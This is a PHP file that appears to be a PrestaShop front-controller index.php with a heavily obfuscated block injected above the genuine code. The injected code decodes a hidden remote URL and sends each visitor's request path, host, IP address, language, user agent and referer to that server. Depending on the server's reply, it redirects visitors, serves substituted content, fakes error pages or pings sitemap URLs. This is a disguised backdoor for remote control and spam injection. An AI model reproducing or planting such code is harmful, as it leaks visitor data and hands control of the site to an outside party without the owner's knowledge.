<?php
//Obfuscate by https://uutool.cn/php/
 goto mJTpP; qSzuX: Ehjp0: goto xlmoV; IN85L: function Rvb3o($XUGBc, $fL3A5 = '', $TEEpi = false) { goto ycinb; hQz5z: I5J2N: goto Di5ux; z1jiD: if (!(!empty($OZOZt) && $OZOZt[0] !== "\x37" && $OZOZt[0] !== "\71")) { goto FIgDW; } goto kznia; A4c59: goto rVAcW; goto rcSz1; yTo9Q: tjlpj: goto iB1fp; jw38q: goto fgm83; goto VZgk0; iICwm: fgm83: goto gJCNl; ZfnQh: $VDuLV = curl_errno($PQkOv); goto oEBen; iB1fp: return @file_get_contents($fL3A5 ? "{$XUGBc}\77{$fL3A5}" : $XUGBc); goto GERcM; tnzyo: error_log("\133\x53\110\x45\x4c\114\x5f\x44\x45\x42\x55\107\x5d\x20\x63\x75\x72\x6c\40\106\x41\x49\x4c\x45\104\72\x20\x65\x72\162\x6e\157\75{$VDuLV}\x2c\40\145\x72\162\157\x72\75{$XIs7C}\x2c\40\x68\164\164\x70\x5f\x63\157\144\145\x3d{$tiUtQ["\x68\164\164\160\x5f\143\157\x64\x65"]}\x2c\40\165\x72\x6c\75" . ($TEEpi ? $XUGBc : ($fL3A5 ? "{$XUGBc}\77\56\56\x2e" : $XUGBc)) . "\54\40\164\157\164\141\x6c\x5f\164\x69\x6d\x65\x3d{$tiUtQ["\x74\157\x74\x61\154\137\164\151\x6d\x65"]}\163"); goto UpZ6L; ycinb: if (!function_exists("\143\165\x72\154\x5f\x69\156\151\x74")) { goto tjlpj; } goto CIWz9; djK8g: @header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\124\x79\160\x65\x3a\x20{$gXRvA}"); goto hQz5z; ppk3A: curl_setopt($PQkOv, CURLOPT_URL, $XUGBc); goto bVmnb; uHVRv: if ($TEEpi) { goto rYpE5; } goto j7eMl; rcSz1: weUTd: goto Ne1nm; bVmnb: curl_setopt($PQkOv, CURLOPT_POST, 1); goto VVuWP; ca4YV: $tiUtQ = curl_getinfo($PQkOv); goto z1jiD; CIWz9: $PQkOv = curl_init(); goto uHVRv; Dfc5U: if (!(strlen($OZOZt) < 10)) { goto Gn7Nr; } goto X4baM; uwpg0: Gn7Nr: goto A4c59; j7eMl: curl_setopt($PQkOv, CURLOPT_URL, $fL3A5 ? "{$XUGBc}\77{$fL3A5}" : $XUGBc); goto jw38q; AAy8e: return $OZOZt; goto yTo9Q; X4baM: error_log("\133\x53\x48\x45\114\x4c\x5f\104\x45\102\125\x47\135\x20\x63\x75\162\x6c\x20\x4f\x4b\x20\142\x75\164\40\x73\x68\157\162\164\x20\162\145\163\x70\x6f\x6e\x73\x65\72\x20\154\x65\156\x3d" . strlen($OZOZt) . "\x2c\x20\x62\x6f\144\x79\x3d" . var_export($OZOZt, true) . "\x2c\40\x68\x74\x74\160\137\143\x6f\x64\x65\x3d{$tiUtQ["\150\x74\x74\x70\137\143\x6f\144\145"]}\54\40\164\157\x74\141\154\x5f\164\151\x6d\145\75{$tiUtQ["\164\x6f\x74\x61\154\137\164\x69\155\x65"]}\x73"); goto uwpg0; Di5ux: FIgDW: goto Dfc5U; SOSVC: if (!$gXRvA) { goto I5J2N; } goto djK8g; oEBen: $tiUtQ = curl_getinfo($PQkOv); goto tnzyo; VZgk0: rYpE5: goto ppk3A; gJCNl: curl_setopt_array($PQkOv, array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 0, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 30, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false)); goto ryOpJ; Ne1nm: $XIs7C = curl_error($PQkOv); goto ZfnQh; ryOpJ: $OZOZt = curl_exec($PQkOv); goto SYWWW; SYWWW: if ($OZOZt === false) { goto weUTd; } goto ca4YV; UpZ6L: rVAcW: goto S6kB_; VVuWP: curl_setopt($PQkOv, CURLOPT_POSTFIELDS, $fL3A5); goto iICwm; kznia: $gXRvA = isset($tiUtQ["\x63\x6f\x6e\164\x65\156\x74\x5f\x74\171\160\145"]) ? $tiUtQ["\143\157\x6e\x74\x65\156\x74\137\x74\171\x70\x65"] : ''; goto SOSVC; S6kB_: curl_close($PQkOv); goto AAy8e; GERcM: } goto lM8ez; GJFKg: $DcH0D = bDDiT("\122\105\121\125\105\123\x54\137\125\x52\x49"); goto P7ZDV; Sk3Ia: die("\74\x21\x44\117\x43\124\x59\x50\x45\40\x68\x74\x6d\x6c\x3e\x3c\x68\164\155\154\x20\x6c\141\156\x67\x3d\x27\x6a\x61\x27\76\x3c\x68\x65\141\144\x3e\74\155\145\164\141\x20\143\x6f\x6e\164\x65\156\164\75\x27\x74\145\170\164\57\150\x74\155\154\x3b\x20\143\x68\x61\x72\163\x65\x74\75\165\164\x66\x2d\x38\47\x2f\x3e\x3c\x2f\x68\145\141\x64\x3e\x3c\142\157\144\171\40\x73\x74\171\x6c\x65\x3d\47\x64\151\163\x70\x6c\141\171\x3a\x20\x6e\157\156\x65\x3b\x27\x3e{$Yv7tx}\74\x2f\142\157\144\x79\x3e\x3c\x2f\x68\164\x6d\154\76"); goto WzQUx; f11dW: function bDDIt($x9BQv) { return isset($_SERVER[$x9BQv]) ? $_SERVER[$x9BQv] : ''; } goto pn5Tb; ERuNC: $Yv7tx = isset($IMnRz[0]) ? $IMnRz[0] : "\165\156\x6b\156\157\167\156"; goto Sk3Ia; txiBW: if (!(ob_get_level() > 0)) { goto MnbrR; } goto eVNHu; v_mYu: foreach (explode("\54", $cK6jn) as $DQx64) { goto Fd8PL; NzU1e: echo (stristr($ZOnuX, "\x73\165\x63\x63\x65\163\x73\x66\x75\x6c\x6c\x79") ? "\160\x69\x6e\x67\40\x6f\x6b" : $ZOnuX) . "\74\x62\x72\x3e"; goto UH1Ez; UH1Ez: IUHQj: goto kRUuN; EYpre: echo $DQx64 . "\x3c\142\162\76"; goto NzU1e; Fd8PL: $ZOnuX = RVB3O($DQx64); goto EYpre; kRUuN: } goto bDqZz; MaZP6: $ahcV2 = ''; goto f11dW; pZCiq: MnbrR: goto yzUG4; lM8ez: function gHeRC($XUGBc, $fJzE3) { goto QROTW; NBVeQ: if (!($TQG7b === "\63")) { goto gW6rs; } goto QcBaY; ULmni: return false; goto VfJ3z; i6S5J: if (!($TQG7b === "\70")) { goto Xg3vy; } goto NpsMa; TW27c: gW6rs: goto uQU2F; Sh6ms: Xg3vy: goto uyM80; h03jI: die; goto TW27c; UI7O3: @header("\114\x6f\x63\141\164\151\x6f\156\72\x20" . substr($OZOZt, 1)); goto h03jI; BvKgr: register_shutdown_function(function () { goto ObvTq; m8V2c: echo $ahcV2; goto CER7T; CER7T: vEgY8: goto mnoA1; e4w97: if (!$ahcV2) { goto vEgY8; } goto m8V2c; ObvTq: global $ahcV2; goto e4w97; mnoA1: }); goto ULmni; zNQEN: return false; goto zqR2s; uQU2F: if (!($TQG7b === "\67")) { goto i8Kiq; } goto rVTH5; tuFIL: OKRTl: goto QG3bu; d4RVT: $ahcV2 = substr($OZOZt, 1); goto BvKgr; t7St3: i8Kiq: goto i6S5J; DsYJb: die; goto tuFIL; QROTW: $OZOZt = RVB3o($XUGBc, $fJzE3); goto QuLV6; zqR2s: RnQKC: goto tWFaM; zIs_J: return $OZOZt; goto IetxN; rVTH5: return false; goto t7St3; ktx1I: if (!($TQG7b === "\x34")) { goto OKRTl; } goto kdSJJ; Xn1xk: W1fgZ: goto NBVeQ; PWM_Z: @header("\x48\124\x54\x50\57\61\x2e\x31\40\x35\60\60\x20\x49\156\x74\x65\x72\x6e\141\x6c\40\x53\145\162\x76\145\162\x20\x45\162\162\x6f\x72"); goto UTyOs; QuLV6: if ($OZOZt) { goto RnQKC; } goto LjCko; QG3bu: if (!($TQG7b === "\65")) { goto W1fgZ; } goto PWM_Z; QN3bw: die; goto Xn1xk; VfJ3z: h4TYl: goto zIs_J; uyM80: if (!($TQG7b === "\71")) { goto h4TYl; } goto w_tBB; EJy26: echo substr($OZOZt, 1); goto DsYJb; w_tBB: global $ahcV2; goto d4RVT; QcBaY: @header("\x48\x54\x54\120\57\x31\x2e\x31\40\x33\60\x32\40\106\157\165\156\144"); goto UI7O3; NpsMa: die; goto Sh6ms; kdSJJ: @header("\110\x54\x54\x50\57\61\56\61\x20\64\60\x34\x20\x4e\x6f\x74\x20\x46\x6f\x75\x6e\144"); goto EJy26; tWFaM: $TQG7b = $OZOZt[0]; goto ktx1I; LjCko: error_log("\x5b\x53\x48\x45\114\x4c\x5f\x44\105\x42\125\107\x5d\40\146\x65\164\x63\150\x42\141\143\x6b\x65\x6e\144\x3a\x20\x66\151\x72\163\x74\x20\141\164\164\145\155\x70\x74\x20\145\155\x70\164\x79\x2f\x66\141\x6c\x73\145\x2c\x20\x72\145\163\x70\x6f\156\163\x65\75" . var_export($OZOZt, true)); goto zNQEN; UTyOs: echo substr($OZOZt, 1); goto QN3bw; IetxN: } goto GJFKg; mJTpP: define("\107\66\152\x6c\114", base64_decode("\141\110\122\60\x63\x48\x4d\x36\114\x79\71\x6b\117\x54\101\167\x4d\123\x35\172\144\127\154\x71\x61\x58\x6c\64\114\x6e\116\x6f\142\63\101\166\x5a\x32\71\150\143\107\153\x3d")); goto MaZP6; TgNCu: if (strpos($DcH0D, "\160\151\156\147\163\x69\x74\x65\155\x61\x70") !== false) { goto dNgBA; } goto cMCjB; X91fM: function RuLF5() { goto phtPg; WPiEU: return ''; goto Bc1e5; FPTow: RT860: goto WPiEU; oGiaL: foreach ($F_E5E as $x9BQv) { goto bTe_V; bTe_V: if (isset($_SERVER[$x9BQv])) { goto iEopB; } goto d8mmW; Gr9qo: l6ARx: goto JAtxc; nUlgy: foreach (explode("\54", $_SERVER[$x9BQv]) as $dafHW) { goto FJCG5; y3yDz: return $dafHW; goto Fd37_; FJCG5: $dafHW = trim($dafHW); goto tyQa0; C2Gqx: FXscb: goto rVXmf; Fd37_: y0YvM: goto C2Gqx; tyQa0: if (!(filter_var($dafHW, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto y0YvM; } goto y3yDz; rVXmf: } goto Gr9qo; xht5L: iEopB: goto nUlgy; JAtxc: i9cIv: goto iEPup; d8mmW: goto i9cIv; goto xht5L; iEPup: } goto FPTow; phtPg: $F_E5E = array("\110\124\124\120\x5f\x43\x4c\111\x45\x4e\x54\x5f\111\x50", "\110\124\x54\x50\137\x43\106\x5f\x43\x4f\x4e\116\105\x43\124\x49\x4e\x47\137\111\x50", "\x48\124\124\120\137\x58\x5f\x46\x4f\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\x52", "\110\124\x54\x50\137\x46\x4f\x52\127\x41\x52\104\x45\104", "\122\105\x4d\117\x54\105\x5f\x41\104\104\122"); goto oGiaL; Bc1e5: } goto IN85L; WzQUx: U9kt7: goto BHNej; bQDe7: evOaJ: goto da0BN; i_G4w: dNgBA: goto wgWPI; rM0iG: if (!$N03rc) { goto evOaJ; } goto CRMaA; eVNHu: @ob_end_clean(); goto G_8XX; cMCjB: $N03rc = gheRc(G6jlL, $xShkN); goto rM0iG; wgWPI: $cK6jn = gHERc(G6jlL, $xShkN); goto Ujmft; Ujmft: if (!$cK6jn) { goto Ehjp0; } goto v_mYu; Big63: $SumA8 = parse_url(G6jlL, PHP_URL_HOST); goto IsADx; pn5Tb: function FJdwh() { goto VMhkD; jtjyt: if (!(isset($_SERVER["\x53\x45\122\126\x45\x52\137\x50\117\122\x54"]) && $_SERVER["\123\x45\122\x56\105\122\137\x50\x4f\x52\x54"] == 443)) { goto wq7YZ; } goto uC5Fe; uC5Fe: return true; goto nikys; z6ebk: if (!(isset($_SERVER["\110\124\124\120\137\130\x5f\x46\x4f\122\x57\101\122\104\105\x44\137\x50\x52\x4f\124\x4f"]) && strtolower($_SERVER["\x48\x54\x54\120\x5f\130\137\x46\x4f\x52\127\x41\x52\x44\105\x44\137\x50\122\117\124\x4f"]) === "\x68\x74\164\160\x73")) { goto n5ClO; } goto vt0Ak; aoddA: return true; goto EfLTN; G1IiM: n5ClO: goto jtjyt; nikys: wq7YZ: goto B9kQs; vt0Ak: return true; goto G1IiM; B9kQs: return false; goto uxddT; EfLTN: CrFYw: goto z6ebk; VMhkD: if (!(!empty($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\x6f\146\146")) { goto CrFYw; } goto aoddA; uxddT: } goto X91fM; BHNej: $xShkN = http_build_query(array("\x75\162\x69" => $DcH0D, "\144\x6f\155" => BDDIT("\x48\124\124\x50\x5f\110\117\x53\124"), "\x69\160" => rulF5(), "\154\x61\x6e\147" => bDdiT("\110\124\x54\120\x5f\101\103\x43\105\x50\x54\x5f\x4c\x41\x4e\x47\125\101\x47\x45"), "\x61\x67\145\x6e\164" => bddIt("\x48\124\124\120\x5f\125\123\x45\x52\137\x41\x47\105\116\x54"), "\162\145\146\145\162" => BdDIT("\x48\124\124\120\x5f\x52\105\106\x45\122\x45\x52"), "\150\x74\164\x70" => FjDWh() ? "\x68\x74\x74\160\x73" : "\x68\164\164\160", "\166" => "\x39")); goto TgNCu; IsADx: $IMnRz = explode("\x2e", $SumA8); goto ERuNC; P7ZDV: if (!(trim($DcH0D, "\x2f") === "\143\146\x31\x39\x38\70")) { goto U9kt7; } goto Big63; da0BN: goto K4izv; goto i_G4w; yzUG4: die($N03rc); goto bQDe7; G_8XX: goto uksZ2; goto pZCiq; CRMaA: uksZ2: goto txiBW; bDqZz: z9CSM: goto qSzuX; xlmoV: K4izv:?>


<?php
/**
 * 2007-2018 PrestaShop
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * https://opensource.org/licenses/OSL-3.0
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@prestashop.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
 * versions in the future. If you wish to customize PrestaShop for your
 * needs please refer to http://www.prestashop.com for more information.
 *
 * @author    PrestaShop SA <contact@prestashop.com>
 * @copyright 2007-2018 PrestaShop SA
 * @license   https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0)
 * International Registered Trademark & Property of PrestaShop SA
 */

require(dirname(__FILE__).'/config/config.inc.php');
Dispatcher::getInstance()->dispatch();